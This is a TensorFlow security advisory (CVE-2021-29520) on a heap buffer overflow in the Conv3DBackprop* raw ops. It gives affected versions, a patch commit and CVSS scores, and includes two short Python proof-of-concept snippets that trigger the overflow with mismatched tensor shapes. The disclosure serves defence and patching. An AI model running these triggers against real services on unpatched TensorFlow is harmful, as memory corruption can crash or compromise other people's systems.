ghsa-wcv5-qrj6-9pfm
Vulnerability from github
Published
2021-05-21 14:21
Modified
2024-10-30 23:11
Summary
Heap buffer overflow in `Conv3DBackprop*`
Details

Impact

Missing validation between arguments to tf.raw_ops.Conv3DBackprop* operations can result in heap buffer overflows:

```python import tensorflow as tf

input_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32) filter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32) out_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) python import tensorflow as tf

input_values = [-10.0] * (7 * 7 * 7 * 7 * 7) input_values[0] = 429.6491056791816 input_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32) filter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32) out_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) ```

This is because the implementation assumes that the input, filter_sizes and out_backprop tensors have the same shape, as they are accessed in parallel.

Patches

We have patched the issue in GitHub commit 8f37b52e1320d8d72a9529b2468277791a261197.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our securityguide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29520"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-120",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-18T23:25:06Z",
    "nvd_published_at": "2021-05-14T20:15:00Z",
    "severity": "LOW"
  },
  "details": "### Impact\nMissing validation between arguments to `tf.raw_ops.Conv3DBackprop*` operations can result in heap buffer overflows:\n\n```python\nimport tensorflow as tf\n\ninput_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32)\nfilter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,\n                            -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,\n                            -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32)\nout_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding=\u0027SAME\u0027, data_format=\u0027NDHWC\u0027, dilations=[1, 1, 1, 1, 1])\n```\n```python\nimport tensorflow as tf\n\ninput_values = [-10.0] * (7 * 7 * 7 * 7 * 7)\ninput_values[0] = 429.6491056791816\ninput_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32)\nfilter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32)\nout_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32)\n  \ntf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding=\u0027VALID\u0027, data_format=\u0027NDHWC\u0027, dilations=[1, 1, 1, 1, 1])\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/4814fafb0ca6b5ab58a09411523b2193fed23fed/tensorflow/core/kernels/conv_grad_shape_utils.cc#L94-L153) assumes that the `input`, `filter_sizes` and `out_backprop` tensors have the same shape, as they are accessed in parallel.\n\n### Patches\nWe have patched the issue in GitHub commit [8f37b52e1320d8d72a9529b2468277791a261197](https://github.com/tensorflow/tensorflow/commit/8f37b52e1320d8d72a9529b2468277791a261197).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our securityguide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
  "id": "GHSA-wcv5-qrj6-9pfm",
  "modified": "2024-10-30T23:11:45Z",
  "published": "2021-05-21T14:21:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wcv5-qrj6-9pfm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/8f37b52e1320d8d72a9529b2468277791a261197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-448.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-646.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-157.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Heap buffer overflow in `Conv3DBackprop*`"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.